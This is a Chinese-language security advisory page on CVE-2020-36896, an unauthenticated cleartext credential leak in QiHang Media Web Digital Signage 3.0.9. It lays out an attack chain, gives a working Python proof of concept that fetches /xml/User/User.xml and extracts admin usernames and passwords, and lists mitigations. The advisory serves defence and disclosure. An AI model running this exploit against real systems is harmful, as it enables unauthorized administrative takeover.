IPBUF安全漏洞报告
English
CVE-2020-36896 CVSS 7.5 高危

CVE-2020-36896: QiHang Media Web数字标牌系统明文凭证泄露漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2020-36896
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QiHang Media Web Digital Signage

相关标签

CVE-2020-36896明文凭证泄露敏感信息泄露QiHang Media Web数字标牌系统认证绕过XML配置泄露高危漏洞无需认证硬编码凭证

漏洞概述

CVE-2020-36896是QiHang Media Web Digital Signage 3.0.9版本中存在的一个高危安全漏洞。该漏洞属于明文凭证泄露(Cleartext Credentials Disclosure)类型,攻击者可以在无需任何认证的情况下,通过访问系统中未受保护的XML文件来获取管理员的明文登录凭证。具体而言,系统在'/xml/User/User.xml'路径下存储了包含管理员用户名和密码的敏感信息,且该文件缺乏适当的访问控制机制。攻击者只需构造特定的HTTP请求即可直接获取这些凭证,进而绕过正常的身份验证流程,以管理员权限登录系统并完全控制数字标牌管理后台。此漏洞的CVSS评分达到7.5分,属于高危级别,对系统机密性造成严重影响。由于该漏洞利用门槛低且影响范围广,建议相关用户立即采取修复措施。

技术细节

该漏洞的根本原因在于QiHang Media Web Digital Signage应用程序在设计时将敏感的用户凭证信息以明文形式存储在XML配置文件中,并且未对该文件实施任何访问控制或身份验证机制。具体来说,系统将管理员账户的登录凭据(用户名和密码)硬编码存储在'/xml/User/User.xml'文件中。当攻击者构造HTTP GET请求访问该路径时,服务器直接返回XML文件内容,其中包含明文的用户名和密码信息。由于CVSS向量显示攻击复杂度低(AC:L)且不需要任何权限(PR:N),任何能够通过网络访问目标服务器的攻击者都可以直接利用此漏洞。获取凭证后,攻击者可以使用这些信息通过正常的登录界面进行身份验证,从而获得管理员权限。一旦成功登录,攻击者可以控制整个数字标牌系统,包括内容管理、设备控制等核心功能。该漏洞属于OWASP Top 10中的A2:2017-Broken Authentication类别。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的QiHang Media Web Digital Signage系统,确认版本为3.0.9或受影响版本
STEP 2
步骤2: 构造恶意请求
攻击者构造HTTP GET请求,访问路径'/xml/User/User.xml',该路径存储了包含管理员凭证的XML文件
STEP 3
步骤3: 获取明文凭证
由于系统未对该文件实施访问控制,请求直接成功返回,攻击者获取包含明文用户名和密码的XML内容
STEP 4
步骤4: 凭证提取
攻击者解析XML响应,使用正则表达式或手动方式提取UserName和Password标签中的明文凭证信息
STEP 5
步骤5: 认证绕过
攻击者使用获取的管理员凭证,通过系统正常的登录界面进行身份验证,成功绕过身份验证机制
STEP 6
步骤6: 持久化控制
成功登录后,攻击者获得完整的管理员权限,可进一步控制数字标牌内容、窃取敏感数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36896 PoC - QiHang Media Web Digital Signage Cleartext Credentials Disclosure # Discoverd by: VulnCheck ([email protected]) import requests import re import sys def exploit_cve_2020_36896(target_url): """ Exploit for CVE-2020-36896 QiHang Media Web Digital Signage - Cleartext Credentials Disclosure """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2020-36896...") # Path to the vulnerable XML file vulnerable_path = "/xml/User/User.xml" # Construct full URL url = target_url.rstrip('/') + vulnerable_path print(f"[*] Requesting: {url}") try: # Send HTTP GET request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Received response (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Parse and display credentials content = response.text print("\n[+] Extracted credentials from XML:\n") # Extract username and password patterns from XML username_pattern = r'<UserName>([^<]+)</UserName>' password_pattern = r'<Password>([^<]+)</Password>' usernames = re.findall(username_pattern, content) passwords = re.findall(password_pattern, content) if usernames and passwords: for i, (user, pwd) in enumerate(zip(usernames, passwords), 1): print(f" Credential #{i}:") print(f" Username: {user}") print(f" Password: {pwd}") print(f"\n[!] Use these credentials to authenticate at:") print(f" {target_url.rstrip('/')}/login") else: print("[!] No credentials found in response") print("\n[+] Raw XML content:") print(content[:1000]) else: print(f"[-] Failed to retrieve XML file (Status: {response.status_code})") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2020_36896(target)

影响范围

QiHang Media Web Digital Signage 3.0.9

防御指南

临时缓解措施
在厂商正式补丁发布前,可采取以下临时缓解措施:1) 使用网络层访问控制,限制对管理接口的网络访问,仅允许受信任的IP地址访问;2) 配置Web服务器规则,阻止对'/xml/'路径下所有文件的直接访问;3) 暂时关闭或禁用数字标牌系统的远程管理功能;4) 实施反向代理或VPN通道,添加额外的认证层保护管理后台;5) 监控Web服务器日志,关注对'/xml/User/User.xml'路径的可疑访问请求;6) 考虑使用Web应用防火墙规则拦截针对该路径的扫描和探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表